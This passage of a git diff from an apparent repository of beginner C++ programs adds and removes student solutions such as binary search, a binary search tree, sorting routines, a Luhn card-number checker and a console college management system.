- -int binarySearch(int array[], int x, int low, int high) { - if (high >= low) { - int mid = low + (high - low) / 2; - - // If found at mid, then return it - if (array[mid] == x) - return mid; - - // Search the left half - if (array[mid] > x) - return binarySearch(array, x, low, mid - 1); - - // Search the right half - return binarySearch(array, x, mid + 1, high); - } - - return -1; -} - -int main(void) { - int array[] = {3, 4, 5, 6, 7, 8, 9}; - int x = 4; - int n = sizeof(array) / sizeof(array[0]); - int result = binarySearch(array, x, 0, n - 1); - if (result == -1) - printf("Not found"); - else - printf("Element is found at index %d", result); -} diff --git a/Add Code Here/C++/BinarySearchTree.cpp b/Add Code Here/C++/BinarySearchTree.cpp deleted file mode 100644 index 8d1e9cede3b..00000000000 --- a/Add Code Here/C++/BinarySearchTree.cpp +++ /dev/null @@ -1,293 +0,0 @@ -#include -using namespace std; -/* run this program using the console pauser or add your own getch, system("pause") or input loop */ - -struct Node{ - int data; - Node* left; - Node* right; -}; - -class BST{ - private: - Node* root; - public: - BST(); - void insert(int n); - void print(); - void del(int n); - void find(int n, Node* &p,Node* & parent); - void find_rec(int n, Node* &p,Node* & parent); - private: - void insert_rec(int n, Node* &root); - void print_tree(Node * root); - void getLargestNode(Node * &r, Node * &pred_r); - Node *del_OneChildNode(Node *p,Node *parent); - Node *del_Leaf(Node *p,Node *parent); - Node *del_TwoChildNode(Node *p,Node *parent); - }; -////////////////////////////////////////////////// -// constructor -//////////////////////////////////////// -BST::BST() -{ - root=NULL; -} - -/////////////////////////////////// -// the public recurisive function that is used only so that root is not accessible outside the class -////////////////////////////// -void BST::insert(int n) -{ - insert_rec(n,root); -} -////////////////////////////////////////////// -// the recurisive function that does the actual insertion -////////////////////////////////////// -void BST::insert_rec(int n, Node* &root) -{ - if(root==NULL) - { - root=new Node; - root->data=n; - root->left=NULL; - root->right=NULL; - return; - } - else if (root->data==n) - { - cout<<"\n Data already in BST ..not inserting node with data "<data) - insert_rec(n,root->left); - else - insert_rec(n,root->right); -} - - -void BST::print() -{ - cout<<"\n Printing Tree \n"; - print_tree(root); -} -/////////////////////////////////// - -///////////////////////////////////// -void BST::print_tree(Node * root) -{ - if(root==NULL) - return; - else - { - print_tree(root->left); - cout<<" "<data; - print_tree(root->right); - } - -} - -////////////////////////////////////////////////// -//The below function searches for a node with data n a node and its parent. - -///////////////////////////////////////////////////// - -void BST::find(int n, Node * &p, Node* &parent) -{ - p=root; - parent=NULL; - find_rec( n, p, parent); - - if(p==NULL) - cout<<"Node not found"; - else if(parent==NULL) - cout<<"\n found node "<data<<" at root"; - else - cout<<"\n p->data "<data<<" parent->data "<data; -} -///////////////////////////////////////// -// actual finding work is done here -// when the function returns to the calling function (main) -// p should poiint to the node and parent to its parent -// p will be NULL if the node does not exist -// parent is NULL if the required node is the root - - -/////////////////////////////////////////// -void BST::find_rec(int n, Node * &p, Node* &parent) -{ - if(p==NULL) - return; - if(p->data==n) - return; - else if(ndata) - { - parent=p; - p=p->left; - find_rec(n,p,parent); - } - else{//required node on the right - parent=p; - p=p->right; - find_rec(n,p,parent); - } -} -/////////////////////////////////////// -// function to delete a node -// input n - -//////////////////////////////////////// -void BST::del(int n) -{ - //search the pointer to the node and the parent - Node *p; - Node* parent; - find(n,p,parent); - - if(p==NULL){//if the node doesnt exist - cout<<"\n Node does not exist in the BST"; - - return; - } - else if(p->left==NULL &&p->right==NULL){//p is a leaf - cout<<"\n Leaf Node"; - - p=del_Leaf(p,parent); - - } - - else if(p->left==NULL ||p->right==NULL){//p has one child . If both cases are true then the above if is executed - cout<<"\n One child"; - - p=del_OneChildNode(p, parent); - } - else{//p has 2 children - cout<<"\n two children"; - p=del_TwoChildNode(p,parent); - - } -delete p; // now the node is properly removed from the tree so we just free memory -} - - -//////////////////////////////////////////////// - -/////////////////////////////////////////// -Node * BST::del_OneChildNode(Node *p,Node *parent) -{ - - //identify the single child of p - Node *temp; - if(p->left!=NULL) - temp=p->left; - else - temp=p->right; - cout<<"\n temp->data "<data; - - if(parent==NULL)// p is the root - { - root=temp; - } - else if(parent->left==p) - parent->left=temp; - else - parent->right=temp; - -return p; -} - -/////////////////////////////////////////////////////////////// - -/////////////////////////////////////////////// -Node * BST::del_TwoChildNode(Node *p,Node *parent) -{ - Node *r=p->left;// r is the address of the node we will replace p with - Node* pred_r; // the predecessor or parent of r - getLargestNode(r,pred_r); - cout<<"\n the largest node in the left subtree is "<data; - - - // now we will replace the p with r - //first see where to do the replacement - if(parent==NULL)// we are deleting the root - { - root=r; //now replacement becomes the root - } - else if(parent->left==p)//p is on the left side of parent - parent->left=r; - else// its on right - parent->right=r; - - - //now do the setting in pred_r ( parent of r) - // Note that r is the right most node of the left subtree of p so - // Either 1) it is a leaf - // or 2) r has a left subtree but not a right subtree - // also r is on the right side of pred_r - - pred_r->right=r->left; - - - //now set the left right pointers of the replacement r - r->left=p->left; - r->right=p->right; - - -return p; -} -//////////////////////////////////////////////////////////////////////// -//////////////////////////////////////////////// -Node * BST::del_Leaf(Node* p,Node* parent) -{ - if(parent==NULL)//p is the root - root=NULL; - if(parent->left==p)//if p is on left - parent->left=NULL; - else// p is on right - p->right=NULL; - -return p; - -} - -//////////////////////////////////////////// -// this function returns the largest node for the tree/subtree rooted at r -// return NULL if tree/subtree rooted at r is empty. ( this should never happen in delete node with 2 children) -///////////////////////////////////////////////////// -void BST::getLargestNode(Node * &r, Node * &pred_r) -{ - pred_r=NULL; - if(r==NULL) - return ; - - - while(r->right!=NULL){//iterate till you reach the right most node - pred_r=r; - r=r->right; - } -} -int main() { - BST tree; - tree.insert(101); - tree.insert(50); - tree.insert(10); - tree.insert(5); - - tree.insert(15); - tree.insert(2); - tree.insert(7); - tree.insert(17); - tree.insert(75); - tree.insert(16); - tree.insert(500); - tree.print(); - /*Node* p; - Node * parent; - tree.find(10,p,parent);*/ - tree.del(50); - tree.print(); - - return 0; -} diff --git a/Add Code Here/C++/BinarySearchTree.exe b/Add Code Here/C++/BinarySearchTree.exe deleted file mode 100644 index 96e2d8b8e3b..00000000000 Binary files a/Add Code Here/C++/BinarySearchTree.exe and /dev/null differ diff --git a/Add Code Here/C++/BinaryTreePaths.cpp b/Add Code Here/C++/BinaryTreePaths.cpp deleted file mode 100644 index 45dd3e56abe..00000000000 --- a/Add Code Here/C++/BinaryTreePaths.cpp +++ /dev/null @@ -1,43 +0,0 @@ -#include -#include -using namespace std; - - -// Definition for a binary tree node. - struct TreeNode { - int val; - TreeNode *left; - TreeNode *right; - TreeNode() : val(0), left(nullptr), right(nullptr) {} - TreeNode(int x) : val(x), left(nullptr), right(nullptr) {} - TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {} - }; - -class Solution { -private: - void solve(TreeNode* root,vector &ans,string res){ - if(!root) return; - - if(root->left || root->right){ - res+=to_string(root->val)+"->"; - - } - else{ - res+=to_string(root->val); - ans.push_back(res); - } - - solve(root->left,ans,res); - solve(root->right,ans,res); - } -public: - vector binaryTreePaths(TreeNode* root) { - - vector ans; - string res; - solve(root,ans,res); - - return ans; - - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Book_Allocation.cpp b/Add Code Here/C++/Book_Allocation.cpp deleted file mode 100644 index 559a3fe9913..00000000000 --- a/Add Code Here/C++/Book_Allocation.cpp +++ /dev/null @@ -1,54 +0,0 @@ -#include -using namespace std; - -bool isPossible(vector arr, int n, int m, int mid) { - int studentCount = 1; - int pageSum = 0; - //cout << "checking for mid "<< mid < m || arr[i] > mid ) { - return false; - } - pageSum = arr[i]; - } - if(studentCount > m) { - return false; - } - //cout << " for i " << i << " Student "<< studentCount << " pageSum " << pageSum << endl; - } - return true; -} - -int allocateBooks(vector arr, int n, int m) { - int s = 0; - int sum = 0; - - for(int i = 0; i +using namespace std; + +// } Driver Code Ends + +class Solution +{ + public: + //Function to return list of integers that form the boundary + //traversal of the matrix in a clockwise manner. + vector boundaryTraversal(vector > matrix, int n, int m) + { + // code here + vector ans; + for(int i = 0; i < m; i++) + ans.push_back(matrix[0][i]); + for(int i = 1; i < n - 1; i++) + ans.push_back(matrix[i][m - 1]); + if(n == 1) + return ans; + for(int i = m - 1; i >= 0; i--) + ans.push_back(matrix[n - 1][i]); + if(m == 1) + return ans; + for(int i = n - 2; i >= 1; i--) + ans.push_back(matrix[i][0]); + return ans; + } +}; + + +//{ Driver Code Starts. +int main() { + int t; + cin>>t; + + while(t--) + { + int n,m; + cin>>n>>m; + vector > matrix(n); + + for(int i=0; i>matrix[i][j]; + } + } + + Solution ob; + vector result = ob.boundaryTraversal(matrix, n, m); + for (int i = 0; i < result.size(); ++i) + cout< +using namespace std; + +// } Driver Code Ends + +class Solution +{ + public: + vector boundaryTraversal(vector > matrix, int n, int m) + { + vector out; + int i = 0, j = 0; + for(; j < m;++j) out.push_back(matrix[i][j]); + ++i; --j; + if(n > 1){ + for(; i < n;++i) out.push_back(matrix[i][j]); + --i; --j; + if(m > 1){ + for(; j >= 0;--j) out.push_back(matrix[i][j]); + --i; ++j; + for(; i > 0;--i) out.push_back(matrix[i][j]); + } + } + return out; + } +}; + + +//{ Driver Code Starts. +int main() { + int t; + cin>>t; + + while(t--) + { + int n,m; + cin>>n>>m; + vector > matrix(n); + + for(int i=0; i>matrix[i][j]; + } + } + + Solution ob; + vector result = ob.boundaryTraversal(matrix, n, m); + for (int i = 0; i < result.size(); ++i) + cout< -#include -using namespace std; - -// Function to count the total number of set bits in `n` -int countSetBits(int n) -{ - // `count` stores the total bits set in `n` - int count = 0; - - while (n) - { - n = n & (n - 1); // clear the least significant bit set - count++; - } - - return count; -} - -int main() -{ - int n = -1; - - cout << n << " in binary is " << bitset<32>(n) << endl; - cout << "The total number of set bits in " << n << " is " - << countSetBits(n) << endl; - - return 0; -} diff --git a/Add Code Here/C++/Bubble Sort Cpp.cpp b/Add Code Here/C++/Bubble Sort Cpp.cpp deleted file mode 100644 index a8b8ae2b155..00000000000 --- a/Add Code Here/C++/Bubble Sort Cpp.cpp +++ /dev/null @@ -1,29 +0,0 @@ -#include -using namespace std; - -void bubbleSort(int arr[], int n) -{ - int i, j; - for (i = 0; i < n - 1; i++) - for (j = 0; j < n - i - 1; j++) - if (arr[j] > arr[j + 1]) - swap(arr[j], arr[j + 1]); -} - -void printArray(int arr[], int size) -{ - int i; - for (i = 0; i < size; i++) - printf("%d ",arr[i]); - printf("\n"); -} - -int main() -{ - int arr[] = { 5, 1, 4, 2, 8}; - int N = sizeof(arr) / sizeof(arr[0]); - bubbleSort(arr, N); - printf("Sorted array: \n"); - printArray(arr, N); - return 0; -} diff --git a/Add Code Here/C++/BubbleSort.cpp b/Add Code Here/C++/BubbleSort.cpp new file mode 100644 index 00000000000..1e0970573ac --- /dev/null +++ b/Add Code Here/C++/BubbleSort.cpp @@ -0,0 +1,38 @@ + +#include +using namespace std; + +int main() +{ + int num = 5; + int arr[5] = {5, 3, 8, 6, 1}; + + for (size_t i = 0; i < num; i++) + { + cout << " " << arr[i]; + } + cout << endl; + int swap = 0; + + for (size_t i = 0; i < num - 1; i++) + { + cout << "pass i: " << i << endl; + + for (size_t j = 0; j < num - i - 1; j++) + { + cout << "j: " << j << endl; + + if (arr[j] < arr[j + 1]) + { + int temp = arr[j]; + arr[j] = arr[j + 1]; + arr[j + 1] = temp; + } + } + } + + for (size_t i = 0; i < num; i++) + { + cout << " " << arr[i]; + } +} diff --git a/Add Code Here/C++/Bubblesort.cpp b/Add Code Here/C++/Bubblesort.cpp deleted file mode 100644 index a068c6017f4..00000000000 --- a/Add Code Here/C++/Bubblesort.cpp +++ /dev/null @@ -1,38 +0,0 @@ -// C++ program for implementation -// of Bubble sort -#include -using namespace std; - -// A function to implement bubble sort -void bubbleSort(int arr[], int n) -{ - int i, j; - for (i = 0; i < n - 1; i++) - - // Last i elements are already - // in place - for (j = 0; j < n - i - 1; j++) - if (arr[j] > arr[j + 1]) - swap(arr[j], arr[j + 1]); -} - -// Function to print an array -void printArray(int arr[], int size) -{ - int i; - for (i = 0; i < size; i++) - cout << arr[i] << " "; - cout << endl; -} - -// Driver code -int main() -{ - int arr[] = { 5, 1, 4, 2, 8}; - int N = sizeof(arr) / sizeof(arr[0]); - bubbleSort(arr, N); - cout << "Sorted array: \n"; - printArray(arr, N); - return 0; -} -// This code is contributed by rathbhupendra diff --git a/Add Code Here/C++/BuildArray_fromPermutation.cpp b/Add Code Here/C++/BuildArray_fromPermutation.cpp deleted file mode 100644 index 2db4c0da83d..00000000000 --- a/Add Code Here/C++/BuildArray_fromPermutation.cpp +++ /dev/null @@ -1,23 +0,0 @@ -#include -#include -using namespace std; -vector buildArray(vector& nums); -int main(){ - vector nums = {0,2,1,5,3,4}; - buildArray(nums); - for(int i=0; i buildArray(vector& nums) { - int n=nums.size(); - for(int i=0;i -#include -#include -using namespace std; - -int partition(int arr[], int low, int high) -{ - int pivot = arr[high]; - int i = (low - 1); - - for (int j = low; j <= high - 1; j++) - { - if (arr[j] <= pivot) - { - i++; - swap(arr[i], arr[j]); - } - } - swap(arr[i + 1], arr[high]); - return (i + 1); -} - -// Generates Random Pivot, swaps pivot with -// end element and calls the partition function -int partition_r(int arr[], int low, int high) -{ - srand(time(NULL)); - int random = low + rand() % (high - low); - swap(arr[random], arr[high]); - - return partition(arr, low, high); -} -void quickSort(int arr[], int low, int high) -{ - if (low < high) - { - int pi = partition_r(arr, low, high); - quickSort(arr, low, pi - 1); - quickSort(arr, pi + 1, high); - } -} - -void printArray(int arr[], int size) -{ - int i; - for (i = 0; i < size; i++) - cout << arr[i] << " "; -} -int main() -{ - int arr[] = {10, 7, 8, 9, 1, 5}; - int n = sizeof(arr) / sizeof(arr[0]); - - quickSort(arr, 0, n - 1); - printf("Sorted array: \n"); - printArray(arr, n); - - return 0; -} diff --git a/Add Code Here/C++/BuyAndSellStock.cpp b/Add Code Here/C++/BuyAndSellStock.cpp deleted file mode 100644 index 3699c1c36e6..00000000000 --- a/Add Code Here/C++/BuyAndSellStock.cpp +++ /dev/null @@ -1,18 +0,0 @@ -#include -#include -using namespace std; - -class Solution { -public: - int maxProfit(vector& prices) { - int n=prices.size(); - - int maxProfit=0; - int ans=prices[0]; - for(int i=0;i -#include -using namespace std; -int studentcount=0;//stduent count mean who many student enter into array; -int teachercount=0; -//admin prototypes -void addstudentintoarray(string name,string fathername,string course,string section,double cnic,double marks,int rollnumber); -void studentrecord(); -void admin(); -void addstudent(); -void addteacherintoarray(string name,string subject,double cnic,double phone,int salary,string post,int id); -void addteacher(); -void removestudent(); -void removeteacher(); -void timetable(); -void displayresult(); -void attendancereport(); -void teacherrecord(); -//end of admin prototype. -//start of student array -const int maxrecord=20000; -string studentname[maxrecord]; -int studentmarks[maxrecord]; -int studentcnic[maxrecord]; -int studentrollnumber[maxrecord]; -string studentcourse[maxrecord]; -string studentsection[maxrecord]; -string studentfathername[maxrecord]; -//end of student array. -//start of teacher array. -string teachername[maxrecord]; -string teachersubject[maxrecord]; -double teachercnic[maxrecord]; -double teacherphone[maxrecord]; -int teachersalary[maxrecord]; -string teacherpost[maxrecord]; -int teacherid[maxrecord]; -//end of teacher array -//start of teacher user prototype -void teacheruser(); -void passwordchanger(); -void displayreport(); -//end of teacher user prototype. -//start of student prototype - -char studentmenu(); -void studentuser(); -void result(int number); -void notice(); -void subject(int num); -void fee(int n); -void information(int num1); -//end of student prototype -char adminmenu() //admin can perform the following propertises -{ - cout << "admin option are:" << endl; - cout << "1.add new students:" << endl; - cout << "2.add new teacher:" << endl; - cout << "3.remove student:" << endl; - cout << "4.remove teacher:" << endl; - cout << "5.view all record:" << endl; - cout << "6.check timetable:" << endl; - cout << "7.check student result:" << endl; - cout << "8.check student attendanec status:" << endl; - cout << "9.exit:"<> num; - return num; -} -void header() -{ - cout << "*******************************************************" << endl; - cout << "* COLLEGE MANAGEMENT SYSTEM *" << endl; - cout << "*******************************************************" << endl; -} -char teachermenu() -{ - header(); - cout << "you are in user option:" << endl; - cout << "main menu > teacher:" << endl; - cout << "1.view student record:" << endl; - cout << "2.view atttendance status:" << endl; - cout << "3.display result" << endl; - cout << "4.Generate student report:" << endl; - cout << "5.change password:" << endl; - cout << "6.exit:"<> num; - return num; -} -char user() -{ - cout<<"1.teacher:"<>ch; - return ch; -} -char menu() -{ - header(); - cout << "MAIN MENU:" << endl; - cout << "1.Admin:" << endl; - cout << "2.User" << endl; - cout << "3.exit"<> num1; - return num1; -} -main() -{ - while(true) - { - char num=menu(); - system("cls"); - if(num == '1') - { - admin(); - num=menu(); - } - if(num == '2') - { - system("cls"); - char ch=user(); - if(ch == '1') - teacheruser(); - else if(ch == '2') - studentuser(); - else if(ch == '3') - break; - else - { - cout<<"enter correct option:"<>name1; - cout<<"enter admin password:"; - cin>>password1; - cout<<"enter admin name again if you want to login:"; - cin>>name2; - cout<<"enter password again:"; - cin>>password2; - if(name1 == name2 && password1 == password2) - { - while (true) - { - char option=0; - option=adminmenu(); - system("cls"); - if(option == '1') - { - addstudent(); - - } - else if(option == '2') - { - addteacher(); - } - else if(option == '3') - { - removestudent(); - } - else if(option == '4') - { - removeteacher(); - } - else if(option == '5') - { - teacherrecord(); - studentrecord(); - } - else if(option == '6') - { - timetable(); - } - else if(option == '7') - { - displayresult(); - } - else if(option == '8') - { - attendancereport(); - } - else if(option == '9') - { - break; - } - else - { - cout<<"wrong input please type correct input:"<> sname; - cout << "enter father name:" << endl; - cin >> sfathername; - cout << "enter obtained marks in matric:" << endl; - cin >> smarks; - cout << "enter course name:"; - cin >> scourse; - cout << "enter roll number:"; - cin >> sroll_number; - cout << "enter CNIC:"; - cin >> scnic; - cout << "enter SECTION:"; - cin >> ssection; - addstudentintoarray(sname,sfathername,scourse,ssection,scnic,smarks,sroll_number); -} -void addstudentintoarray(string name,string fathername,string course,string section,double cnic,double marks,int rollnumber) -{ - studentname[studentcount]=name; - studentfathername[studentcount]=fathername; - studentcourse[studentcount]=course; - studentsection[studentcount]=section; - studentcnic[studentcount]=cnic; - studentmarks[studentcount]=marks; - studentrollnumber[studentcount]=rollnumber; - studentcount=studentcount+1; -} -void teacherrecord() //display all teacher recore in merit order -{ - cout<<"name:"<<"\t"<<"post:"<<"\t"<<"salary:"<<"\t"<<"subject:"<<"\t"<<"phone:"<<"\t"<<"id"<<"\t"<<"cnic:"<>name; - cout<<"enter teacher post:"; - cin>>post; - cout<<"enter teacher subject:"; - cin>>subject; - cout<<"enter teacher cinc:"; - cin>>cnic; - cout<<"enter phone number:"; - cin>>phone; - cout<<"enter salary:"; - cin>>salary; - cout<<"enter teacher id:"; - cin>>id; - addteacherintoarray(name,subject,cnic,phone,salary,post,id); -} -void addteacherintoarray(string name,string subject,double cnic,double phone,int salary,string post,int id) -{ - teachername[teachercount]=name; - teachersubject[teachercount]=subject; - teachercnic[teachercount]=cnic; - teacherphone[teachercount]=phone; - teachersalary[teachercount]=salary; - teacherpost[teachercount]=post; - teacherid[teachercount]=id; - teachercount=teachercount+1; -} -void removestudent() -{ - int rollnumber; - cout<<"enter student rollnumber if you want to remove:"; - cin>>rollnumber; - for(int i=0;i>id; - for(int i=0;i check time table" << endl; - cout << " time "<< "8:00 to 9:00"<< "9:00 to 10:00"<< "10:00 to 11:00" << endl; - cout << " monday "<< " math/bio "<< " english "<< " physics " << endl; - cout << " tuesday "<< " urdu "<< " math/bio "<< " com/chem " << endl; - cout << " wenusday "<< " english "<< "_____________"<< " physics " << endl; - cout << " thurday "<< " math/bio "<< " math/bio "<< " urdu " << endl; - cout << " friday "<< " english "<< " physics "<< " urdu " << endl; -} -void displayresult() -{ - int eng[20]; - int phy[20]; - int urdu[20]; - int math[20]; - int total[20]; - for(int i=0;i>eng[i]; - cout<<"enter math marks:"; - cin>>math[i]; - cout<<"enter physics marks:"; - cin>>phy[i]; - cout<<"enter urdu marks:"; - cin>>urdu[i]; - total[i]=urdu[i]+math[i]+eng[i]+phy[i]; - } - cout<<"name:"<<"\t"<<"urdu"<<"\t"<<"physics"<<"\t"<<"english"<<"\t"<<"\t"<<"math"<<"total number:"<>month; - for(int i=0;i>days[i]; - } - for(int x=0;x 0) - { - cout<<"name"<<"\t"<<"father name:"<<"\t"<<"section"<<"\t"<<"course:"<<"\t"<<"roll number:"<<"\t"<<"marks:"<<"cnic:"<>userpassword; - if(userpassword == "forget" || userpassword == "update") - { - string newpassword,phone_number; - cout<<"enter phone number:"; - cin>>phone_number; - cout<<"enter new password:"; - cin>>newpassword; - cout<<"your password has been updated:"<>mark[i]; - } - for(int x=0;x=450) - { - cout<<"name:"<=400) - { - cout<<"name:"<=350) - { - cout<<"name:"<user " << endl; - cout << "1.change password" << endl; - cout << "2.check result" << endl; - cout << "3.check notice" << endl; - cout << "4.check subject:" << endl; - cout << "5.fee challen" << endl; - cout << "6.personal information" << endl; - cout << "7.exit:"<> num; - return num; -} -void studentuser() -{ - - string name; - cout<<"enter name:"; - cin>>name; - int count=0; - int i=0; - for(;i<=studentcount;) - { - if(name == studentname[i]) - { - count=count+1; - break; - } - i++; - } - if(count == 1) - { - string username,userpassword; - string loginname,loginpassword; - cout << "enter student user name:" << endl; - cin>>username; - cout << "enter password:" << endl; - cin>>userpassword; - cout << "enter login name:" << endl; - cin >> loginname; - cout << "enter login password:" << endl; - cin>>loginpassword; - if( username == loginname && userpassword == loginpassword ) - { - while (true) - { - char option=studentmenu(); - system("cls"); - if(option == '1') - { - passwordchanger(); - } - else if(option == '2') - { - result(count); - } - else if(option == '3') - { - notice(); - } - else if(option == '4') - { - subject(count); - } - else if(option == '5') - { - fee(count); - } - else if(option == '6') - { - information(count); - } - else if(option == '7') - { - break; - } - else - { - cout << "wrong option is selected please select the correct option:"<= 85) - { - remarks = "good"; - } - else - { - remarks = "not_satisfied:"; - } - cout << "name:"<< " " << studentname[number] << " "<< "roll number:" << studentrollnumber[number] << " "<< "aggregate:" << aggregate << " "<< "marks:" << studentmarks[number] << " "<< "remarks:" << remarks << endl; -} -void notice() -{ - cout << "welcome back student please submit your project on monday thanks:" << endl; - cout << "your fee challan has been uploaded please submit your fee:"<fee challen" << endl; - string bank1; - cout << "enter bank account:"; - cin >> bank1; - string bankid; - cout << "enter bank id:" << endl; - cin >> bankid; - if (bank1 == bankid) - { - cout <<"name"< personal information:" << endl; - cout <<"name"< -using namespace std; - -int main() { - - char op; - float num1, num2; - - cout << "Enter operator: +, -, *, /: "; - cin >> op; - - cout << "Enter two operands: "; - cin >> num1 >> num2; - - switch(op) { - - case '+': - cout << num1 << " + " << num2 << " = " << num1 + num2; - break; - - case '-': - cout << num1 << " - " << num2 << " = " << num1 - num2; - break; - - case '*': - cout << num1 << " * " << num2 << " = " << num1 * num2; - break; - - case '/': - cout << num1 << " / " << num2 << " = " << num1 / num2; - break; - - default: - - cout << "Error! operator is not correct"; - break; - } - - return 0; -} diff --git a/Add Code Here/C++/Card_checker.cpp b/Add Code Here/C++/Card_checker.cpp deleted file mode 100644 index 9257258ff80..00000000000 --- a/Add Code Here/C++/Card_checker.cpp +++ /dev/null @@ -1,83 +0,0 @@ -// C++ program to check if a given credit -// card is valid or not. -#include -using namespace std; - -// Return this number if it is a single digit, otherwise, -// return the sum of the two digits -int getDigit(int number) -{ - if (number < 9) - return number; - return number / 10 + number % 10; -} - -// Return the number of digits in d -int getSize(long d) -{ - string num = to_string(d); - return num.length(); -} - -// Return the first k number of digits from -// number. If the number of digits in number -// is less than k, return number. -long getPrefix(long number, int k) -{ - if (getSize(number) > k) - { - string num = to_string(number); - return stol(num.substr(0, k)); - } - return number; -} - -// Return true if the digit d is a prefix for number -bool prefixMatched(long number, int d) -{ - return getPrefix(number, getSize(d)) == d; -} - -// Get the result from Step 2 -int sumOfDoubleEvenPlace(long int number) -{ - int sum = 0; - string num = to_string(number); - for (int i = getSize(number) - 2; i >= 0; i -= 2) - sum += getDigit(int(num[i] - '0') * 2); - - return sum; -} - -// Return sum of odd-place digits in number -int sumOfOddPlace(long number) -{ - int sum = 0; - string num = to_string(number); - for (int i = getSize(number) - 1; i >= 0; i -= 2) - sum += num[i] - '0'; - return sum; -} - -// Return true if the card number is valid -bool isValid(long int number) -{ - return (getSize(number) >= 13 && - getSize(number) <= 16) && - (prefixMatched(number, 4) || - prefixMatched(number, 5) || - prefixMatched(number, 37) || - prefixMatched(number, 6)) && - ((sumOfDoubleEvenPlace(number) + - sumOfOddPlace(number)) % - 10 == - 0); -} - -// Driver Code -int main() -{ - long int number = 51960818885000645L; - cout << number << " is " << (isValid(number) ? "valid" : "invalid"); - return 0; -} diff --git a/Add Code Here/C++/CatandMouse2.cpp b/Add Code Here/C++/CatandMouse2.cpp deleted file mode 100644 index 17eff5a3e30..00000000000 --- a/Add Code Here/C++/CatandMouse2.cpp +++ /dev/null @@ -1,126 +0,0 @@ -#include - -using namespace std; - -class Solution -{ -public: - int memo[75][8][8][8][8]; - vector v; - int cj, mj; - int R, C; - int di[4] = {-1, 1, 0, 0}; - int dj[4] = {0, 0, 1, -1}; - - bool dp(int nturn, int cx, int cy, int mx, int my) - { - if (nturn % 2 == 1) - { - // mouse turn - if (mx == cx && my == cy) - return false; // mouse is caught by the cat, losing position for the mouse - if (nturn >= 75) - return false; // mouse can't win, it used many moves and it couldnt get the food - if (v[mx][my] == 'F') - return true; // winner position, mouse got the food - if (v[cx][cy] == 'F') - return false; // losing position, cat got the food - } - else - { - // cat turn - if (mx == cx && my == cy) - return true; // cat captured the mouse, winner position - if (nturn >= 75) - return true; // winner position for the cat, nice block ;) - if (v[mx][my] == 'F') - return false; // losing position, mouse got the food - if (v[cx][cy] == 'F') - return true; // winner position, cat got the food - } - - if (memo[nturn][cx][cy][mx][my] != -1) - return memo[nturn][cx][cy][mx][my]; - bool win = false; - - if (nturn % 2 == 1) - { - // mouse turn - for (int i = 0; i < 4; i++) - { - for (int j = 0; j <= mj; j++) - { - int Mx = mx + j * di[i]; - int My = my + j * dj[i]; - if (Mx >= 0 && Mx < R && My >= 0 && My < C && v[Mx][My] != '#') - { - if (dp(nturn + 1, cx, cy, Mx, My) == 0) - { // If there is any move that causes the next player to lose then I am in a winning position. - win = true; - break; - } - } - else - break; - } - if (win) - break; - } - } - else - { - // cat turn - for (int i = 0; i < 4; i++) - { - for (int j = 0; j <= cj; j++) - { - int Cx = cx + j * di[i]; - int Cy = cy + j * dj[i]; - if (Cx >= 0 && Cx < R && Cy >= 0 && Cy < C && v[Cx][Cy] != '#') - { - if (dp(nturn + 1, Cx, Cy, mx, my) == 0) - { // If there is any move that causes the next player to lose then I am in a winning position. - win = true; - break; - } - } - else - break; - } - if (win) - break; - } - } - - memo[nturn][cx][cy][mx][my] = win; - return win; - } - - bool canMouseWin(vector &_v, int _cj, int _mj) - { - memset(memo, -1, sizeof(memo)); - v = _v; - cj = _cj; - mj = _mj; - int cx, cy, mx, my; - R = v.size(); - C = v[0].size(); - - for (int i = 0; i < R; i++) - for (int j = 0; j < C; j++) - { - if (v[i][j] == 'C') - { - cx = i; - cy = j; - } - - if (v[i][j] == 'M') - { - mx = i; - my = j; - } - } - return dp(1, cx, cy, mx, my); - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/CharacterSearch.cpp b/Add Code Here/C++/CharacterSearch.cpp deleted file mode 100644 index 300a4e81ffc..00000000000 --- a/Add Code Here/C++/CharacterSearch.cpp +++ /dev/null @@ -1,39 +0,0 @@ -#include - -using namespace std; - -int main() -{ - char data[100], cari; - int i, j = 0, n; - - cout<<"Masukkan banyaknya karakter : "; - cin>>n; - - cout<>data[i]; - } - - cout<>cari; - - for(i = 0; i < n; i++){ - if(cari == data[i]){ - j = i; - } - } - - if(j == 0){ - cout<<"Data yang dicari tidak ditemukan"; - } else { - cout<<"Data yang dicari ditemukan "<next)// also check reverse(mid); - Node*current=head; - - while(last!=NULL){ - if(last->data!=current->data) - return false; - - last= last->next; - current=current->next; - } - return true; - } -} \ No newline at end of file diff --git a/Add Code Here/C++/CoGrowingSequenceCodeforces.cpp b/Add Code Here/C++/CoGrowingSequenceCodeforces.cpp deleted file mode 100644 index 99aa808eb75..00000000000 --- a/Add Code Here/C++/CoGrowingSequenceCodeforces.cpp +++ /dev/null @@ -1,60 +0,0 @@ -#include -using namespace std; - - -void solve() -{ - int n; - cin >> n; - int a[n]; - for(int i=0;i> a[i]; - int ans[n]; - ans[0]=0; - for(int i=1;i0 && f>0) - { - int r=f%2; - int w=y%2; - - if((r&w)!=w) - { - x+=pow(2,count); - } - count++; - f/=2; - y/=2; - } - while(y>0) - { - int r=y%2; - if(r==1) - x+=pow(2,count); - count++; - y/=2; - } - ans[i]=x; - a[i]=a[i]^x; - } - for(int i=0;i> t; - while(t--) - { - solve(); - } - - return 0; -} diff --git a/Add Code Here/C++/Codeforces 1735B_Tea_with_Tangerines.cpp b/Add Code Here/C++/Codeforces 1735B_Tea_with_Tangerines.cpp deleted file mode 100644 index c9f2b0b5260..00000000000 --- a/Add Code Here/C++/Codeforces 1735B_Tea_with_Tangerines.cpp +++ /dev/null @@ -1,26 +0,0 @@ -#include -using namespace std; -#define int int64_t - -int32_t main() -{ - int t; cin>>t; - while(t--) - { - int n; cin>>n; - int a[n]; - for (int i = 0; i < n; i++) - { - cin>>a[i]; - } - int k = 2*a[0]-1; - int ans=0; - for (int i = 0; i < n; i++) - { - ans+=(a[i]/k); - if(a[i]/k*k==a[i]) ans--; - } - cout< -#include -#include -#include -#include -#include -#include -#include -#include -#include -#define ll long long -#define pb push_back -#define mp make_pair -#define F first -#define S second -using namespace std; - - - -int main() -{ - ios_base::sync_with_stdio(false); - cin.tie(NULL); - int t; - cin>>t; - - for(int i=0;i>n; - int arr[n]; - for(int j=0;j>arr[j]; - } - int neg=0; - int pos=0; - int count0=0; - ll sum=0; - for(int j=0;j0){ - pos++; //count of positive numbers in the array - } - else 